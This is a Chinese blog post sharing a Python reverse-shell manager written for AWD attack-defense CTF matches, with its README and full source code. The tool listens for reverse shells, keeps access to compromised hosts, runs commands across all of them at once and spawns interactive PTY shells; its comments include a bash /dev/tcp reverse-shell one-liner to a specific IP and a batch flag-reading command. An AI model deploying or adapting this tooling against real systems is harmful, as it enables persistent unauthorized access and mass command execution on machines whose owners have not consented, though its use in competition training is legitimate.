awd线下shell管理工具 权限维持+批量执行命令

0x00:关于工具

啊啊啊 自从上次比赛因为用的shell管理框架不大行,导致30个shell全部丢掉,自己想着来写个shell管理框架。

虽然是个小项目,但是真的蛮好用的,awd中能把权限维持住多方便(hh 个人觉得)。代码也很强壮,不会意外退出、卡死等等,目前自己能想到的bug都做了异常处理。

附上链接:https://github.com/Tkitn/Reverse_shell_manage

0x01:README

##Tkitn_reverse_manage 278884553@qq.com

###介绍

  • awd线下shell管理与权限维持
  • 批量执行命令,一键批量执行
  • 交互式shell生成
  • 异常处理,不会因为对方kill进程而意外退出,或命令输错导致程序卡死

###How to use

python3
python Tkitn_reverse_manage.py 0.0.0.0 9992

###参数

  • h:列出帮助页面
  • a:批量命令执行所有shell
  • l:查看已经上线的所有shell
  • g:根据ip进入其shell通道
  • d:删除此shell节点
  • r:刷新已经上线的shell,连接失败的则删除掉
  • i:在当前的通道处生成交互式shell
  • python -c 'import pty;pty.spawn("/bin/bash")'
  • q:退出程序

0x03:关于代码

#encoding="utf-8"
#@version 2.0.0
#@author  Tkitn
#@python3
#Examples:
#python3 Tkitn_reverse_manage.py 0.0.0.0 9992
#python -c 'import pty;pty.spawn("/bin/bash")'
#bash -c 'bash -i >/dev/tcp/192.168.43.220/9992 0>&1'
#批量执行:cat flag*.txt
import socket
import threading
import os
import signal
import time
import sys

targets={'127.0.0.1':''}

def show_opt():
    print("[!]----Tkitn-Reverse-Manager----[!]")
    print("[!]----h:查看当前的shell帮助----[!]")
    print("[!]----a:所有shell批量执行----[!]")
    print("[!]----l:查看所有shell----[!]")
    print("[!]----g:进入某个交互式shell----[!]")
    print("[!]----d:删除某个shell----[!]")
    print("[!]----r:刷新目标shell字典----[!]")
    print("[!]----i:根据当前节点生成交互式shell----[!]")
    print("[!]----q:退出进程----[!]")

def sign_handler(signum,frame):
    print("")
    show_opt()

def server_bind(host,port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)#端口能够立即复用
    server.bind((host, int(port)))
    print("[!]Listening on 0.0.0.0:9992...")
    while True:
            server.listen(40)
            conn, attr = server.accept()
            conn.setblocking(0)#socket#非阻塞,用于防止使用者输入错误命令导致线程卡死
            print("[!]Got connection from %s:%s" % (attr[0], attr[1]))
            Target_ob = Taget(conn)
            targets[attr[0]] = Target_ob    
        



def send_mes(conn):
    message=input(">>")
    conn.send(message.encode('utf-8')+"\n")

def recv_mes(conn):
    try:
        data=conn.recv(2048)
        print(data.decode('utf-8'))
    except socket.timeout:
        print("Connection timeout")
    except socket.error as e:
        print(e)


def transfer(h):
    slave = targets[h]
    socket_fd = slave.sock_target
    socket_fd.setblocking(1)#这里是一开始是空信息,变成阻塞模式,否则会报错
    while True:
        interactive_flag = slave.interactive_flag
        if(interactive_flag):
            data = socket_fd.recv(2048)
            sys.stdout.write(data.decode('utf-8'))
        else:
            break

class Taget():

    def __init__(self,sock_target):#初始化一个socket
        self.sock_target=sock_target
        self.hostname,self.hostport=sock_target.getpeername()
        self.interactive_flag = True

    def del_target(self,position):#将目标ip从targets字典里删除
        for i in list(targets.keys()):
            if(i==position):
                try:
                    del targets[i]
                    self.sock_target.close()
                    return True
                except:
                    return False

    def send_command(self,command):
        try:
            command = command + "\n"
            self.sock_target.send(command.encode('utf-8'))
            time.sleep(0.5)
            data = self.sock_target.recv(2048)
            print(data.decode('utf-8'))
        except:
            print("class Target send_message wrong")

    def refresh(self):
        try:
            command="hello"
            self.sock_target.send(command.encode('utf-8'))
        except socket.error as e:
            self.del_target(self.hostname)

    def interactive_shell(self):
        t = threading.Thread(target=transfer, args=(self.hostname,))
t.setDaemon(True)#同下,防止主线程退出,子线程没退出,程序卡死 t.start() try: while True: message = input("") if(message=="back"): self.interactive_flag = False self.sock_target.setblocking(0)#当back以后 再把当前socket变成非阻塞模式,防止命令输错导致recv接收不到信息而卡死 break else: message = message + "\n" self.sock_target.send(message.encode('utf-8')) except: pass def main(): host=sys.argv[1] port =int(sys.argv[2]) signal.signal(signal.SIGINT,sign_handler) #信号处理,防止错误执行ctrl+c thread_server=threading.Thread(target=server_bind,args=(host,port))#监听函数多线程处理 thread_server.setDaemon(True)
#守护线程 不加的话主线程退出 子线程仍然存活 导致进程卡死(因为这里主线程有while true在,会一直存活),输入q主线程就退出,子线程全部死亡,程序正常退出。 thread_server.start() print("start server \n") time.sleep(0.5) show_opt() position =list(targets.keys())[0]#当前的shell通道ip while True: s=input("[!]"+position+">>"+"\n")#命令执行必须要加\n,模拟键盘回车 if(s=="l"): print("-"*20) if(len(targets)==0): print("No target connect") for i in targets.keys():#keys()打印出字典的全部key print(i) print("-" * 20) elif(s=="h"): show_opt() elif(s=="g"): target_host=input("输入目标ip:") for i in targets.keys(): if(target_host==i): position=target_host current_object=targets[position]#字典的value就是Target的对象 while True: try: command = input("输入命令>>") if(command=="back"): break else: current_object.send_command(command) except: print("something wrong") elif(s=="a"):#批量shell执行命令 while True: c_command = input("批量命令>>") if(c_command=="back"): break else: for i in targets.keys(): if (i == '127.0.0.1'): pass else: all_obj = targets[i] print("-" * 40) print(all_obj.hostname) print("-" * 40) all_obj.send_command(c_command) elif(s=="r"):# 刷新字典 for i in list(targets.keys()): if (i == '127.0.0.1'): pass else: all_obj=targets[i] all_obj.refresh() elif(s=="d"):#删除shell position=input("输入删除的ip:") obj_del=targets[position] if(obj_del.del_target(position)): print("成功删除%s的shell" %(position)) else: print("删除%s的shell失败" %(position)) elif (s == "i"):#建立通道 current_object=targets[position] current_object.interactive_shell() elif(s=="q"):#主线程退出,配合setDaemo 子线程全部退出,程序正常退出 exit(0) else: os.system(s) if __name__ == '__main__': main()

 此处带一下代码思路,留作方便记忆

整体代码框架是将被攻击者整理成一个类。类中有其功能。

main()函数里面循环了一个框架,多线程处理socket监听函数

targets字典保存了{"ip":ip对应的被攻击者的类对象}

通过这个targets类对象的调用来进行一些功能实现

更具体的看代码注释

0x04:最后

各位大佬有好的意见可以提出来,希望对大家有帮助

加油!!!加油

 

posted @ 2019-11-22 21:22  Tkitn  阅读(1756)  评论(0编辑  收藏  举报